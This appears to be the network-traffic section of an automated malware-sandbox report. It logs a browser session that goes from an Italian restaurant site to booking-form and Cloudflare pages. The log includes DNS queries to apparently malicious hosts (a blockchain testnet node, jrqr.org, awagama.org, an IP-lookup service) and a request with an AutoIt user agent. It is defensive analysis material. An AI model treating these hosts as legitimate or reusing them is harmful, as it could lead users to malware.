Source: global traffic	HTTP traffic detected: GET /it.08db2cd122d5f99494dd.svg HTTP/1.1Host: forms.pienissimo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://forms.pienissimo.com/styles.8e337ad5ac7530eb68dc.cssAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cz.5a24757d105fbe7a4e81.svg HTTP/1.1Host: forms.pienissimo.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /nl.cfe72ae0b3d6d8485234.svg HTTP/1.1Host: forms.pienissimo.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /gb.516897fd3988e35032b7.svg HTTP/1.1Host: forms.pienissimo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://forms.pienissimo.com/styles.8e337ad5ac7530eb68dc.cssAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ru.7e04b988972d41f5c369.svg HTTP/1.1Host: forms.pienissimo.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /es.e3db1b5f8a2ec8ae8764.svg HTTP/1.1Host: forms.pienissimo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://forms.pienissimo.com/styles.8e337ad5ac7530eb68dc.cssAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pt.96475126e7232ee3558e.svg HTTP/1.1Host: forms.pienissimo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://forms.pienissimo.com/styles.8e337ad5ac7530eb68dc.cssAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /open/getFormsAuthV2/?hashform=UZuyPFB7D33R7lvcjvW37OHaRuQxWlgK&doNotCheckUser=true HTTP/1.1Host: enginev2.pienissimo.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /v4/ordini/getProfilo/?cod_univoco=47667869&doNotCheckUser=true HTTP/1.1Host: enginev2.pienissimo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Accept: application/json, text/plain, /sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Origin: https://forms.pienissimo.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://forms.pienissimo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /hr.89b8c8af46eef412f1cd.svg HTTP/1.1Host: forms.pienissimo.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/js/main.js?_=1735922053693 HTTP/1.1Host: forms.pienissimo.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /it.08db2cd122d5f99494dd.svg HTTP/1.1Host: forms.pienissimo.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /gb.516897fd3988e35032b7.svg HTTP/1.1Host: forms.pienissimo.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pt.96475126e7232ee3558e.svg HTTP/1.1Host: forms.pienissimo.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fa-solid-900.9ef50a04ef2ee9703d69.woff2 HTTP/1.1Host: forms.pienissimo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://forms.pienissimo.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://forms.pienissimo.com/styles.8e337ad5ac7530eb68dc.cssAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /Flaticon.646ed006079ab0b728f1.woff2 HTTP/1.1Host: forms.pienissimo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://forms.pienissimo.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://forms.pienissimo.com/styles.8e337ad5ac7530eb68dc.cssAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /v4/ordini/getFormInfo?cod_univoco=47667869&id=Fl7E3J&type=formprenotazione&doNotCheckUser=true HTTP/1.1Host: enginev2.pienissimo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Accept: application/json, text/plain, /sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Origin: https://forms.pienissimo.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://forms.pienissimo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /v4/ordini/getProfilo/?cod_univoco=47667869&doNotCheckUser=true HTTP/1.1Host: enginev2.pienissimo.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /es.e3db1b5f8a2ec8ae8764.svg HTTP/1.1Host: forms.pienissimo.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: forms.pienissimo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://forms.pienissimo.com/?hash=UZuyPFB7D33R7lvcjvW37OHaRuQxWlgK&id=Fl7E3JAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/js/main.js?_=1735922053694 HTTP/1.1Host: forms.pienissimo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Accept: text/javascript, application/javascript, application/ecmascript, application/x-ecmascript, /; q=0.01X-Requested-With: XMLHttpRequestsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://forms.pienissimo.com/info-clientAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /clientslogo/user_253_uzuypfb7d33r7lvcjvw37oharuqxwlgk.png HTTP/1.1Host: pienissimo.s3.eu-central-1.amazonaws.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://forms.pienissimo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /v4/ordini/getFormInfo?cod_univoco=47667869&id=Fl7E3J&type=formprenotazione&doNotCheckUser=true HTTP/1.1Host: enginev2.pienissimo.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/js/main.js?_=1735922053694 HTTP/1.1Host: forms.pienissimo.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: forms.pienissimo.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /clientslogo/user_253_uzuypfb7d33r7lvcjvw37oharuqxwlgk.png HTTP/1.1Host: pienissimo.s3.eu-central-1.amazonaws.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /learning/access-management/phishing-attack/ HTTP/1.1Accept: text/html, application/xhtml+xml, image/jxr, /Referer: https://t3.awagama.org/mima.mp4Accept-Language: en-CHUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: www.cloudflare.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/orchestrate/chl_page/v1?ray=8fc465e5fae2de96 HTTP/1.1Accept: application/javascript, /;q=0.8Referer: https://www.cloudflare.com/learning/access-management/phishing-attack/Accept-Language: en-CHUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: www.cloudflare.comConnection: Keep-AliveCookie: __cf_bm=IEKqWkBvJ81FFGXO0YfR.NrgUiBh94QG8VP81NS9wEg-1735922084-1.0.1.1-gYffxH0z1tJ4cOLayeRJHnN7bp2dPLZlndT1YxLY9Utj.d_HuzxhWIk5_e8OHXTz.qjP8To3SgvLp81yjooK6JJ23elglQnMIOzXKCV_c0s
Source: global traffic	HTTP traffic detected: GET /beacon.min.js/vcd15cbe7772f49c399c6a5babf22c1241717689176015 HTTP/1.1Accept: application/javascript, /;q=0.8Referer: https://www.cloudflare.com/learning/access-management/phishing-attack/Accept-Language: en-CHUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoOrigin: https://www.cloudflare.comAccept-Encoding: gzip, deflateHost: static.cloudflareinsights.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /learning/favicon.ico HTTP/1.1User-Agent: AutoItHost: www.cloudflare.com
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: www.cipassoitalia.itConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9

Source: chromecache_612.1.dr, chromecache_493.1.dr	String found in binary or memory: src: '//www.youtube.com/embed/%id%' equals www.youtube.com (Youtube)
Source: chromecache_644.1.dr	String found in binary or memory: <meta property="article:publisher" content="https://www.facebook.com/federicaalimenti85/" /> equals www.facebook.com (Facebook)
Source: chromecache_535.1.dr, chromecache_381.1.dr	String found in binary or memory: youtube : {loaded: false, src: 'https://www.youtube.com/iframe_api' } equals www.youtube.com (Youtube)
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: "url": "https://www.youtube.com" equals www.youtube.com (Youtube)
Source: 000003.log6.21.dr	String found in binary or memory: "www.facebook.com": "{\"Tier1\": [1103, 6061], \"Tier2\": [5445, 1780, 8220]}", equals www.facebook.com (Facebook)
Source: 000003.log6.21.dr	String found in binary or memory: "www.linkedin.com": "{\"Tier1\": [1103, 214, 6061], \"Tier2\": [2771, 9515, 1780, 1303, 1099, 6081, 5581, 9396]}", equals www.linkedin.com (Linkedin)
Source: 000003.log6.21.dr	String found in binary or memory: "www.youtube.com": "{\"Tier1\": [983, 6061, 1103], \"Tier2\": [2413, 8118, 1720, 5007]}", equals www.youtube.com (Youtube)
Source: chromecache_644.1.dr	String found in binary or memory: .","breadcrumb":{"@id":"https://www.cipassoitalia.it/vineria-e-bistrot-al-centro-di-roma-2/#breadcrumb"},"inLanguage":"it-IT","potentialAction":[{"@type":"ReadAction","target":["https://www.cipassoitalia.it/vineria-e-bistrot-al-centro-di-roma-2/"]}]},{"@type":"BreadcrumbList","@id":"https://www.cipassoitalia.it/vineria-e-bistrot-al-centro-di-roma-2/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home"}]},{"@type":"WebSite","@id":"https://www.cipassoitalia.it/#website","url":"https://www.cipassoitalia.it/","name":"CIPASSO","description":""CiPASSO e me ne innamoro"","publisher":{"@id":"https://www.cipassoitalia.it/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https://www.cipassoitalia.it/?s={search_term_string}"},"query-input":"required name=search_term_string"}],"inLanguage":"it-IT"},{"@type":"Organization","@id":"https://www.cipassoitalia.it/#organization","name":"CiPASSO","url":"https://www.cipassoitalia.it/","logo":{"@type":"ImageObject","inLanguage":"it-IT","@id":"https://www.cipassoitalia.it/#/schema/logo/image/","url":"https://www.cipassoitalia.it/wp-content/uploads/2022/09/CIPASSO_logo_600.png","contentUrl":"https://www.cipassoitalia.it/wp-content/uploads/2022/09/CIPASSO_logo_600.png","width":600,"height":285,"caption":"CiPASSO"},"image":{"@id":"https://www.cipassoitalia.it/#/schema/logo/image/"},"sameAs":["https://www.facebook.com/federicaalimenti85/","https://www.instagram.com/come_io_mi_voglio/"]}]}</script> equals www.facebook.com (Facebook)
Source: msapplication.xml1.14.dr	String found in binary or memory: <browserconfig><msapplication><config><site src="http://www.facebook.com/"/><date>0x50476fa0,0x01db5dfd</date><accdate>0x50476fa0,0x01db5dfd</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\Facebook.url"/></tile></msapplication></browserconfig> equals www.facebook.com (Facebook)
Source: msapplication.xml6.14.dr	String found in binary or memory: <browserconfig><msapplication><config><site src="http://www.twitter.com/"/><date>0x504c51b1,0x01db5dfd</date><accdate>0x504c51b1,0x01db5dfd</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\Twitter.url"/></tile></msapplication></browserconfig> equals www.twitter.com (Twitter)
Source: chromecache_624.1.dr	String found in binary or memory: return function(a,b,c,d){var e={exports:{}};e.exports;(function(){"use strict";var b=f.getFbeventsModules("signalsFBEventsGetTier"),c=d();function d(){try{if(a.trustedTypes&&a.trustedTypes.createPolicy){var b=a.trustedTypes;return b.createPolicy("facebook.com/signals/iwl",{createScriptURL:function(b){var c=typeof a.URL==="function"?a.URL:a.webkitURL;c=new c(b);c=c.hostname.endsWith(".facebook.com")&&c.pathname=="/signals/iwl.js";if(!c)throw new Error("Disallowed script URL");return b}})}}catch(a){}return null}e.exports=function(a,d){d=b(d);d=d==null?"www.facebook.com":"www."+d+".facebook.com";d="https://"+d+"/signals/iwl.js?pixel_id="+a;if(c!=null)return c.createScriptURL(d);else return d}})();return e.exports}(a,b,c,d)}); equals www.facebook.com (Facebook)
Source: chromecache_624.1.dr	String found in binary or memory: return function(f,b,c,d){var e={exports:{}};e.exports;(function(){"use strict";var a=/^https:\/\/www\.([A-Za-z0-9\.]+)\.facebook\.com\/tr\/?$/,b=["https://www.facebook.com/tr","https://www.facebook.com/tr/"];e.exports=function(c){if(b.indexOf(c)!==-1)return null;var d=a.exec(c);if(d==null)throw new Error("Malformed tier: "+c);return d[1]}})();return e.exports}(a,b,c,d)}); equals www.facebook.com (Facebook)
Source: chromecache_624.1.dr	String found in binary or memory: return function(f,g,h,i){var j={exports:{}};j.exports;(function(){"use strict";var a={ENDPOINT:"https://www.facebook.com/tr/",INSTAGRAM_TRIGGER_ATTRIBUTION:"https://www.instagram.com/tr/",AEM_ENDPOINT:"https://www.facebook.com/.well-known/aggregated-event-measurement/",GPS_ENDPOINT:"https://www.facebook.com/privacy_sandbox/pixel/register/trigger/",TOPICS_API_ENDPOINT:"https://www.facebook.com/privacy_sandbox/topics/registration/"};j.exports=a})();return j.exports}(a,b,c,d)}); equals www.facebook.com (Facebook)

Source: global traffic	DNS traffic detected: DNS query: www.cipassoitalia.it
Source: global traffic	DNS traffic detected: DNS query: s.w.org
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: data-seed-prebsc-1-s1.bnbchain.org
Source: global traffic	DNS traffic detected: DNS query: _8545._https.data-seed-prebsc-1-s1.bnbchain.org
Source: global traffic	DNS traffic detected: DNS query: use.fontawesome.com
Source: global traffic	DNS traffic detected: DNS query: mc.yandex.ru
Source: global traffic	DNS traffic detected: DNS query: mc.yandex.com
Source: global traffic	DNS traffic detected: DNS query: solve.jrqr.org
Source: global traffic	DNS traffic detected: DNS query: t3.awagama.org
Source: global traffic	DNS traffic detected: DNS query: bzib.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: clients2.googleusercontent.com
Source: global traffic	DNS traffic detected: DNS query: chrome.cloudflare-dns.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: play.google.com
Source: global traffic	DNS traffic detected: DNS query: forms.pienissimo.com
Source: global traffic	DNS traffic detected: DNS query: unpkg.com
Source: global traffic	DNS traffic detected: DNS query: connect.facebook.net
Source: global traffic	DNS traffic detected: DNS query: api.ipify.org
Source: global traffic	DNS traffic detected: DNS query: enginev2.pienissimo.com
Source: global traffic	DNS traffic detected: DNS query: pienissimo.s3.eu-central-1.amazonaws.com
Source: global traffic	DNS traffic detected: DNS query: www.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: static.cloudflareinsights.com

Source: unknown

HTTP traffic detected: POST /watch/99162160/1?page-url=goal%3A%2F%2Fwww.cipassoitalia.it%2FClick&page-ref=https%3A%2F%2Fwww.cipassoitalia.it%2F&charset=utf-8&uah=chu%0A%22Google%20Chrome%22%3Bv%3D%22117%22%2C%22Not%3BA%3DBrand%22%3Bv%3D%228%22%2C%22Chromium%22%3Bv%3D%22117%22%0Acha%0Ax86%0Achb%0A64%0Achf%0A117.0.5938.132%0Achl%0A%22Google%20Chrome%22%3Bv%3D%22117.0.5938.132%22%2C%22Not%3BA%3DBrand%22%3Bv%3D%228.0.0.0%22%2C%22Chromium%22%3Bv%3D%22117.0.5938.132%22%0Achm%0A%3F0%0Achp%0AWindows%0Achv%0A10.0.0&hittoken=1735921987_de4791d74275a7a2a61e0f539a567fed3f958a917b537649694aaeea58b3a8b6&browser-info=ar%3A1%3Avf%3A14pwap7gbnl70a58u0m6s2b47zyz%3Afu%3A3%3Aen%3Autf-8%3Ala%3Aen-US%3Av%3A1551%3Acn%3A1%3Adp%3A1%3Als%3A1370925244722%3Ahid%3A679857121%3Az%3A-300%3Ai%3A20250103113306%3Aet%3A1735921987%3Ac%3A1%3Arn%3A689669015%3Arqn%3A2%3Au%3A1735921984342483081%3Aw%3A1280x907%3As%3A1280x1024x24%3Ask%3A1%3Awv%3A2%3Aco%3A0%3Acpf%3A1%3Ans%3A1735921964729%3Arqnl%3A1%3Ast%3A1735921987%3At%3ACiPASSO.%20Nel%20cuore%20di%20Roma%2C%20ad%20un%20passo%20dal%20Pantheon.&t=gdpr(14)mc(g-1)clc(0-0-0)rqnt(2)aw(1)rcm(1)cdl(na)eco(42009088)ti(0)&force-urlencoded=1&site-info=%7B%22clientID%22%3A%2221187cdf-b91f-4f27-aae8-45cec9395e7c%22%7D HTTP/1.1Host: mc.yandex.comConnection: keep-aliveContent-Length: 0sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: */*Origin: https://www.cipassoitalia.itSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: i=narlABsq63nROyU6LhKlC/QyBgl1C5gTK9qc3JdRc3H3zDytph2vBN10ZgqZgH/k820S88p65t19wIhYvE7/vXqicU8=; yandexuid=8563067781735921985; yashr=2978277861735921985; yabs-sid=814606481735921986; yuidss=8563067781735921985; ymex=1767457986.yrts.1735921986; receive-cookie-deprecation=1; bh=Ej4iR29vZ2xlIENocm9tZSI7dj0iMTE3IiwiTm90O0E9QnJhbmQiO3Y9IjgiLCJDaHJvbWl1bSI7dj0iMTE3IhoFIng4NiIiECIxMTcuMC41OTM4LjEzMiIqAj8wOgkiV2luZG93cyJCCCIxMC4wLjAiSgQiNjQiUlsiR29vZ2xlIENocm9tZSI7dj0iMTE3LjAuNTkzOC4xMzIiLCJOb3Q7QT1CcmFuZCI7dj0iOC4wLjAuMCIsIkNocm9taXVtIjt2PSIxMTcuMC41OTM4LjEzMiIi; sync_cookie_csrf=962763166fake

Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Fri, 03 Jan 2025 16:33:23 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Frame-Options: SAMEORIGINServer: cloudflareCF-RAY: 8fc463e87adf7d14-EWR
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Fri, 03 Jan 2025 16:33:39 GMTContent-Type: text/htmlContent-Length: 151Connection: closeServer: cloudflareCF-RAY: 8fc4644d79e58c41-EWRX-Frame-Options: DENYX-Content-Type-Options: nosniff
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 03 Jan 2025 16:33:40 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeVary: Accept-Encodingcf-cache-status: DYNAMICServer: cloudflareCF-RAY: 8fc46453f8108c05-EWRserver-timing: cfL4;desc="?proto=TCP&rtt=1825&min_rtt=1808&rtt_var=712&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2863&recv_bytes=709&delivery_rate=1500513&cwnd=215&unsent_bytes=0&cid=77cdec241fe87427&ts=596&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Fri, 03 Jan 2025 16:33:59 GMTContent-Type: text/htmlContent-Length: 553Connection: closeServer: cloudflareCF-RAY: 8fc464c7de1c43a9-EWRX-Frame-Options: DENYX-Content-Type-Options: nosniff
